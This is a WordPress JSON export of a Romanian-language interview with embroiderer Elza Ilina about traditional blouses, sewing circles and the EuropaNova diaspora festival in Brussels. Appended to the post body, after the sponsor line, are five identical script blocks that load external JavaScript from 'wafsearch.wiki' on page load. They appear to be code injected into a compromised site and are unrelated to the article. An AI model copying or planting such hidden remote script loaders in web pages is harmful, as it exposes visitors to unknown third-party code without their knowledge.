{"id":6680,"date":"2023-08-31T19:06:56","date_gmt":"2023-08-31T18:06:56","guid":{"rendered":"https:\/\/www.europanova.be\/elza-ilina-mediul-cultural-determina-modul-de-a-gandi-al-fiecaruia-dintre-noi\/"},"modified":"2025-12-17T14:49:54","modified_gmt":"2025-12-17T13:49:54","slug":"elza-ilina-mediul-cultural-determina-modul-de-a-gandi-al-fiecaruia-dintre-noi","status":"publish","type":"post","link":"https:\/\/www.europanova.be\/ro\/elza-ilina-mediul-cultural-determina-modul-de-a-gandi-al-fiecaruia-dintre-noi\/","title":{"rendered":"Elza Ilina: \u201cMediul cultural determin\u0103 modul de a g\u00e2ndi al fiec\u0103ruia dintre noi\u201d"},"content":{"rendered":"\n<p>Festivalul EuropaNova \u201cP\u0102M\u00c2NTURI MITICE\u201d, edi\u021bia a X-a<\/p>\n\n\n\n<p><strong>17:00 Duminic\u0103, 24 septembrie<\/strong><\/p>\n\n\n\n<p>Schola Nova, Chauss\u00e9e de Namur, 101, Incourt<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Expozi\u021bie de ii cusute la \u0218ez\u0103toarea DOR C\u0102L\u0102TOR Belgia<\/li>\n\n\n\n<li>Mini-concert: Maria T\u0103nase \u0219i Maria L\u0103t\u0103re\u021bu, reinterpetare de IOANA CRISTINA MIHAI (pian \u0219i voce)<\/li>\n\n\n\n<li>O incursiune prin istoria \u0219ez\u0103torilor de ELZA ILINA<\/li>\n\n\n\n<li>O parad\u0103 de costume populare din colec\u021bia ELENA REN\u021aEA<\/li>\n\n\n\n<li>Cu participarea nai\u0219tilor RALUCA P\u0102TULEANU NEGUR\u0102 \u0219i \u0218TEFAN NEGUR\u0102<\/li>\n\n\n\n<li>Bun\u0103t\u0103\u021bi din gastronomia rom\u00e2neasc\u0103<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><em>EUROPANOVA: Etnologie. \u0218ez\u0103tori. Coaserea iilor. Stiliz\u0103ri de art\u0103 popular\u0103. Declan\u0219atorul?<\/em><\/p>\n\n\n\n<p>ELZA ILINA: Nu a fost vorba de un singur factor declan\u0219ator. Ordinea este exact invers\u0103: stilizare de art\u0103 popular\u0103, coaserea iilor, \u0219ez\u0103torile \u0219i ultimul pas, cel firesc, a fost c\u0103tre cercetarea \u0219tiin\u021bific\u0103-etnologie. \u00cen 2022, deja aveam colege de la \u0219ez\u0103toare \u00eenscrise fie la Master, fie la studii de licen\u021b\u0103 \u00een Etnologie. Adriana Iordache a contribuit semnificativ&nbsp; la decizia mea de a m\u0103 \u00eenscrie la Masterat, aveam \u00een plan s\u0103 urmez studiile, \u00eens\u0103, \u00eencep\u00e2nd cu anul 2024 c\u00e2nd fiul meu ar fi terminat deja cu Evaluarea Na\u021bional\u0103!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/image.png\"><img loading=\"lazy\" decoding=\"async\" width=\"903\" height=\"677\" src=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/image.png\" alt=\"\" class=\"wp-image-6666\" srcset=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/image.png 903w, https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/image-480x360.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 903px, 100vw\" \/><\/a><\/figure>\n\n\n\n<p><em>EUROPANOVA: \u021aii a\u021ba \u0219i acul \u00een m\u00e2n\u0103 de c\u00e2nd te \u0219tii, \u00een\u021beleg. Ai \u00eenceput cu goblen. Dar care este povestea scurt\u0103 de acolo p\u00e2n\u0103 la coaserea de simboluri sau fr\u00e2nturi de simboluri tradi\u021bionale pe cercei, pe coliere, pe m\u0103r\u021bi\u0219oare?<\/em><\/p>\n\n\n\n<p>ELZA ILINA: Cos de la 14 ani, deci am deja 25 de ani \u00een care cred ca pu\u021bine zile au fost cele \u00een care nu am cusut. Goblenul a fost primul, am fost \u00eenv\u0103\u021bat\u0103 de c\u0103tre profesoara de educa\u021bie tehnologic\u0103, doamna Brencea s\u0103 cos goblen, un model cu flori, Ikebana cu trandafiri se nume\u0219te.Toata via\u021ba am r\u0103mas fidel\u0103 unei singure firme produc\u0103toare de goblen, Rogoblen Foc\u0219ani. Ideea de a broda semne rom\u00e2ne\u0219ti a ap\u0103rut \u00een momentul \u00een care am primit un medalion ce avea \u00eencrustat\u0103 o dantel\u0103 de Bruxelles, \u00een toamna anului 2016. Mi-am spus c\u0103 avem \u0219i noi semnele noastre \u0219i pot face \u0219i eu bijuterii cu motive rom\u00e2ne\u0219ti. &nbsp;C\u0103ut\u00e2nd motive s\u0103 le folosesc pentru partea artistic\u0103, a c\u0103p\u0103tat contur ideea de o coase ie. Prima cusut\u0103 a fost de fapt o bluz\u0103 de inspira\u021bie tradi\u021bional\u0103 \u0219i am descoperit acest lucru merg\u00e2nd la \u0219ez\u0103toare.<\/p>\n\n\n\n<p><em>EUROPANOVA: Cum balansezi \u00eentre autenticitate \u0219i modernitate? Cum crezi c\u0103 ar privi str\u0103bunicii no\u0219tri produsele tale?<\/em><\/p>\n\n\n\n<p>ELZA ILINA: Cred c\u0103 exist\u0103 un echilibru. Sursa mea de inspira\u021bie vine din ceea ce au create femeile de dinainte de noi. Eu doar am adaptat, \u00eentr-un act de crea\u021bie \u0219i am transpus pe ni\u0219te piese care pot fi purtate. Aici pot jongla cu elementele, artistic. \u00cens\u0103 c\u00eend vine vorba de c\u0103m\u0103\u0219i, acolo nu exist\u0103 decat o singur\u0103 cale \u0219i anume respect tipologia de croi, dispunerea motivelor pe suprafa\u021ba p\u00eenzei, astel \u00eenc\u0103t ceea ce am lucrat, s\u0103 transmit\u0103 mesajul corect, s\u0103 arate conform unei c\u0103m\u0103\u0219i dintr-o anumite zona. Exista \u0219i aici posibilitatea de a aduce elemente noi, nu trebuie copiate \u00eentocmai c\u0103m\u0103\u0219ile din muzee sau colec\u021bii private. Cum ar privi str\u0103bunicile produsele mele? Unele ar fi cu siguran\u021b\u0103 \u00eenc\u00e2ntate, altele \u0219i-ar face semnul crucii, pentru c\u0103 dep\u0103\u0219esc ideea de simplitate. Cu siguran\u021b\u0103, opinia fiecareia, ar depinde de mediul \u00een care au trait. Mediul cultural determin\u0103 modul de a g\u00e2ndi al fiec\u0103ruia dintre noi. Eu prefer s\u0103 nu amestesc lucrurile, bijuteriile sunt un act de crea\u021bie, de inpira\u021bie din arta popular\u0103 rom\u00e2neasc\u0103.<\/p>\n\n\n\n<p><em>EUROPANOVA: Dar semne de carte, de ce co\u0219i? Care e procesul tehnic? Asociezi \u00een mintea ta un anume semn de carte cu o anume carte?<\/em><\/p>\n\n\n\n<p>ELZA ILINA: Cos pentru c\u0103 \u00eemi place me\u0219te\u0219ugul acesta, pentru c\u0103 este surprinz\u0103tor cum o mic\u0103 bucat\u0103 de p\u00e2nz\u0103 cap\u0103tp via\u021b\u0103, culoare, form\u0103. Cos semne de carte pentru c\u0103 \u00eemi place s\u0103 citesc, am diferite tehnici de coasere \u0219i montare, de la produs la produs. Asociez artistic, \u00een func\u021bie de grafica copertei. Pe c\u00e2t de mult posibil, \u00eencerc s\u0103 schimb c\u00e2te ceva la un produs, iar la semnele de carte am sute de izvoade pe care le pot folosi, astfel \u00eenc\u00e2t s\u0103 existe diversitate.<\/p>\n\n\n\n<p><em>EUROPANOVA: Co\u0219i ziua, co\u0219i noaptea? \u00ce\u021bi mai r\u0103m\u00e2ne for\u021b\u0103, energie pentru altceva dup\u0103 o sesiune de cusut?<\/em><\/p>\n\n\n\n<p>ELZA ILINA: Cos oric\u00e2nd \u0219i oriunde. Din geant\u0103 nu lipse\u0219te niciodat\u0103 o bucat\u0103 de panz\u0103, un mic kit de ace \u0219i materiale \u0219i o carte. Av\u00e2nd \u00een vedere c\u0103 am o via\u021b\u0103 active, job, cursuri, familie, cel mai mult reu\u0219esc s\u0103 cos seara\/noaptea. Cusutul nu m\u0103 obose\u0219te, este modul meu de a m\u0103 odihni activ.<\/p>\n\n\n\n<p><em>EUROPANOVA: Care e criteriul dup\u0103 care decizi s\u0103 propui publicului un produs? Este unul strict artistic? La\u0219i comercialul s\u0103 aib\u0103 un rol? Sau la\u0219i doar sufletul s\u0103 decid\u0103\u2026 te g\u00e2nde\u0219ti dac\u0103 l-ai purta tu sau nu?<\/em><\/p>\n\n\n\n<p>ELZA ILINA: \u00centotdeauna ceea ce propun cump\u0103r\u0103torilor mei este ceea ce a\u0219 purta eu. Lucrez semne \u0219i motive care \u00eemi transmit mie ceva, \u00een primul r\u00e2nd, iar prin produsul final, eu transmit ceva publicului. Exist\u0103 \u0219i un aspect comercial, am modele care sunt cerute mai mult decat altele. \u00cen fiecare an vin cu noi propuneri de modele, astfel \u00eenc\u00e2t s\u0103 revin\u0103 \u0219i clientii, s\u0103 existe diversitate, s\u0103 aib\u0103 de unde s\u0103 aleag\u0103. Creez limitat, lucrez singur\u0103, \u00eens\u0103 constant, astfel \u00eenc\u00e2t s\u0103 pot acoperi nevoile poten\u021bialilor clien\u021bi.<\/p>\n\n\n\n<p><em>EUROPANOVA: Vorbe\u0219te-ne pu\u021bin despre \u0219ez\u0103torile pe care le-ai ini\u021biat.<\/em><\/p>\n\n\n\n<p>ELZA ILINA: Cu lumea \u0219ez\u0103torilor urbane sunt familiar\u0103 din 2016. Sunt membr\u0103 \u0218ez\u0103toare Bucure\u0219ti din 2018, proiect ini\u021biat de doamna Victoria Bizon, \u0219ez\u0103toare \u00een care am \u00eenv\u0103\u021bat extrem de multe lucruri, am avut acces la informatii, \u00eempreun\u0103 cu grupul am f\u0103cut cercet\u0103ri pe diferite piese \u00een muzee iar \u00een teren am studiat diferite colec\u021bii private. \u00cen 2021 am ini\u021biat o \u0219ez\u0103toare \u00een comuna \u00een care m-am c\u0103s\u0103torit. Pasul este necesar s\u0103 fie f\u0103cut \u00een toate satele, este extrem de important rolul comunit\u0103\u021bii locale \u00een p\u0103strarea \u0219i transmiterea me\u0219te\u0219ugului coaserii \u0219i \u021beserii pieselor de port popular, astazi noi \u00eenv\u0103\u021b\u0103m toate aceste lucruri \u00een mod intelectual, din p\u0103cate, bunicile noastre sunt n\u0103scute \u00een timpul sau chiar dup\u0103 cel de-al doilea R\u0103zboi Mondial, perioada \u00een care nu a mai existat at\u00e2t de mult interes pentru realizarea pieselor de port popular.&nbsp; \u0218ez\u0103toare Arge\u0219 este denumirea sub care ne prezent\u0103m ca grup \u0219i identitate vizual\u0103 pe Facebook, suntem un grup care numar\u0103 aproximativ 10 membre, iar interesul nostru este studierea pieselor de port popular din zona Arge\u0219-Muscel \u0219i reproducerea lor.<\/p>\n\n\n\n<p><em>EUROPANOVA: Comenteaz\u0103, te rug\u0103m, faptul c\u0103 o m\u00e2n\u0103 de femei din emigra\u021bie, la Bruxelles, \u0219i-au dus costumele b\u0103tr\u00e2ne\u0219ti cu ele aici, se \u00eent\u00e2lnesc \u0219i cos \u00eempreun\u0103\u2026<\/em><\/p>\n\n\n\n<p>ELZA ILINA: Este o bucurie c\u0103 aceste femei au asemenea preocup\u0103ri. \u00cen aceasta era a tehnologiz\u0103rii este absolut admirabil faptul c\u0103 sunt purt\u0103toare \u0219i p\u0103str\u0103oare de obiceiuri, me\u0219te\u0219uguri, c\u0103 pre\u021buiesc ceea ce au \u0219i c\u0103 doresc la r\u00e2ndul lor s\u0103 lase fiicelor piese de port popular lucrate de ele \u00eensele, o mo\u0219tenire din genera\u021bie \u00een genera\u021bie. Actul acesta de crea\u021bie este scris \u00een codul nostru genetic iar femeile acestea \u0219i-au recreat pe meleaguri str\u0103ine, locul natal. \u00cen procesul de acultura\u021bie datorat migr\u0103rii \u0219i-au p\u0103strat \u00een acest fel nealterat parte din spa\u021biul cultural rom\u00e2nesc.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/image-1.png\"><img loading=\"lazy\" decoding=\"async\" width=\"768\" height=\"960\" src=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/image-1.png\" alt=\"\" class=\"wp-image-6675\" srcset=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/image-1.png 768w, https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/image-1-480x600.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 768px, 100vw\" \/><\/a><\/figure>\n\n\n\n<p><em>EUROPANOVA: Ce a\u0219tep\u021bi s\u0103 \u00eent\u00e2lne\u0219ti la Bruxelles, la Festivalul EuropaNova P\u0103m\u00e2nturi mitice?<\/em><\/p>\n\n\n\n<p>ELZA ILINA: Studiile \u00een domeniul etnologiei m-au \u00eenv\u0103\u021bat s\u0103 m\u0103 deta\u0219ez de tot ceea ce \u0219tiu sau cred, iar acest lucru m\u0103 \u00eempiedic\u0103 s\u0103 operez cu a\u0219tept\u0103ri. Cu siguran\u021b\u0103 voi fi un foarte bun observator. Bine\u00een\u021beles c\u0103 simt&nbsp; ner\u0103bdare s\u0103 descop\u0103r comunitatea rom\u00e2neasc\u0103, modul \u00een care v-a\u021bi creat spa\u021biul rom\u00e2nesc \u00een diaspor\u0103, am prieteni care mi-au povestit despre EuropaNova, despre ceea ce \u00eenseamn\u0103 asocia\u021bia pentru ei \u0219i bucuria de a s\u0103rb\u0103tori \u0219i participa la festival, \u00een fiecare an. Dorin\u021ba mea este s\u0103 v\u0103 cunosc, s\u0103 cunosc festivalul \u00een toate aspectele lui \u0219i cu siguran\u021b\u0103 ve\u021bi ramane \u00een memoria mea afectiv\u0103.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"has-small-font-size\">Acest proiect este realizat cu sprijinul Departamentului pentru Rom\u00e2nii de Pretutindeni, al Institutului Cultural Rom\u00e2n \u2013 Bruxelles, al Ambasadei Rom\u00e2niei \u00een Regatul Belgiei \u0219i al Ambasadei Moldovei \u00een Regatul Belgiei \u0219i Luxemburg.<\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>Festivalul EuropaNova \u201cP\u0102M\u00c2NTURI MITICE\u201d, edi\u021bia a X-a 17:00 Duminic\u0103, 24 septembrie Schola Nova, Chauss\u00e9e de Namur, 101, Incourt EUROPANOVA: Etnologie. \u0218ez\u0103tori. Coaserea iilor. Stiliz\u0103ri de art\u0103 popular\u0103. Declan\u0219atorul? ELZA ILINA: Nu a fost vorba de un singur factor declan\u0219ator. Ordinea este exact invers\u0103: stilizare de art\u0103 popular\u0103, coaserea iilor, \u0219ez\u0103torile \u0219i ultimul pas, cel firesc, [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":6843,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[149,130],"tags":[],"class_list":["post-6680","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-auteurs","category-festival"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6680","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/comments?post=6680"}],"version-history":[{"count":6,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6680\/revisions"}],"predecessor-version":[{"id":7170,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6680\/revisions\/7170"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/media\/6843"}],"wp:attachment":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/media?parent=6680"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/categories?post=6680"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/tags?post=6680"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}